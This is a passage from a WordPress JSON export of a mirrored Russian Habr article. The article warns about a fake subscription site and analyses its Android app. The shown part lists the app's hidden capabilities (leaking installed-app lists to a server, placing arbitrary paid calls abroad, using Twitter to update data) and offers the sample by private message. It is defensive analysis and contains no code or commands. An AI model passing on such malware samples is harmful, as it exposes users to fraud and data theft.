\u0441\u0435\u0440\u0432\u0435\u0440<br \/>  11. \u0421\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440<br \/>  12. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0417\u0430\u043c\u0431\u0435\u0437\u0438)<br \/>  13. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Twitter \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043f\u0440\u043e\u0448\u043b\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0438 \u043d\u0435 \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c).<\/p>\n<p>  \u041d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0435. \u041d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0439\u0442\u0435\u0441\u044c. <\/p>\n<p>  P.S. \u0415\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u0445\u043e\u0447\u0435\u0442 \u0441\u0430\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0434\u0430\u043d\u043d\u043e\u0435 \u0442\u0432\u043e\u0440\u0435\u043d\u0438\u0435 \u2014 \u043f\u0438\u0448\u0438\u0442\u0435 \u0432 \u043b\u0438\u0447\u043a\u0443.    \t \t\t   \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/168573\/\"> http:\/\/habrahabr.ru\/post\/168573\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u041a\u0430\u0436\u0434\u044b\u0439, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u043b\u0441\u044f \u0441 \u0441\u0430\u0439\u0442\u0430\u043c\u0438, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0449\u0438\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043b\u0430\u0442\u043d\u0443\u044e \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0443 \u043d\u0430 \u0442\u0443 \u0438\u043b\u0438 \u0438\u043d\u0443\u044e \u0443\u0441\u043b\u0443\u0433\u0443. \u0412 \u0441\u0438\u043b\u0443 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0438 \u043c\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u043d\u0435 \u0438\u043d\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b. \u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u043e\u043d\u0438 \u043d\u0430\u0441\u043f\u0435\u0445 \u043d\u0430\u0431\u0438\u0442\u044b \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c, \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u043c\u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u043e\u0431\u043c\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0421\u043e\u0437\u0434\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u0435\u0449\u0430\u044e\u0442 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0433\u043e\u0440\u044b, \u0430 \u043d\u0430 \u0434\u0435\u043b\u0435 \u0432\u0441\u0435 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0431\u0430\u043d\u0430\u043b\u044c\u043d\u044b\u043c \u0440\u0430\u0437\u0432\u043e\u0434\u043e\u043c \u043d\u0430 \u0434\u0435\u043d\u044c\u0433\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0435\u0439\u043a-\u0441\u0430\u0439\u0442\u0430 \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0434\u043b\u044f Android.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-168573","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/168573","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=168573"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/168573\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=168573"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=168573"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=168573"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}